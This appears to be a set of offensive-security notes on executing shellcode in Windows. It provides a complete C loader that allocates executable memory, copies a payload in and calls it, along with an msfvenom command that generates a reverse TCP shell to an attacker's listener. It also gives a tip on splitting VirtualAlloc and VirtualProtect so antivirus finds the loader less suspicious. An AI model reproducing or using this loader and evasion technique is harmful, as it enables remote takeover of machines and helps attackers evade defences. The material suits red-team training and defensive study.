Basics - Get detected!

Executing shellcode with Defender off.

PE Format

We are most interested in .text, .data, and .rsrc sections since that is where the payloads will be stored.

Storing payload in .data

Global variables are stored in the .data.

#include<stdio.h>
#include<windows.h>

//msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT=443 -f c
// Declaring payload as a global variable

unsigned char buf[] = "Enter the shellcode generated by msfvenom here";

int main(){

        // VirtualAlloc returns an address and we store the address in a pointer
	// *exec points to memory space with size of buffer
	// Pointer to an allocated buffer address is the contents of it.
	void *exec = VirtualAlloc(
				0,	//System selects address
				sizeof buf, // Allocates buf size
				MEM_COMMIT, // Allocate commited memory
				PAGE_EXECUTE_READWRITE // Protection =R,W,X
				);
				
	//Copies contents of code into allocated memory "exec"
	memcpy(exec, buf, sizeof buf);
	
	//Calling void fuction pointer to payload buffer to execute it
	((void(*)())exec)();
	
	return 0;
}

If we turn off protection in windows 😛 and execute, we get a reverse shell on our listener.

((void(*)())exec)() What are we doing here?

  • "exec" contains the memory address of the payload.

  • To execute the shellcode in memory at address "exec", we need to trigger EIP to point to that address.

  • Here, "void(*)()" is a pointer to a function returning void and taking no arguments.

    • Type is void.

    • The function is "(*)".

  • The shellcode was first of type "unsigned char". We typecast it to "void(*)()".

  • The right most () call this function such that the EIP points to the address (exec) that contains our shellcode and execute it.

Storing payload in .text

Declaring local variables inside main() will be stored on the stack.

In the code below, instead of giving "Execute" access while allocating the buffer "VirtualAlloc()" for the payload, we will do it in two stages.

First we allocate and give R/W access using VirtualAlloc() and then give R/W/Execute access to the buffer using VirtualProtect().

This is done to be as sneaky as possible since AV's will find it suspicious to see "R/W/X" access in VirualAlloc().

Also, notice that payload runs as a new thread since we use the CreateThread().

We can achieve the same by using ((void(*)())exec)().

Last updated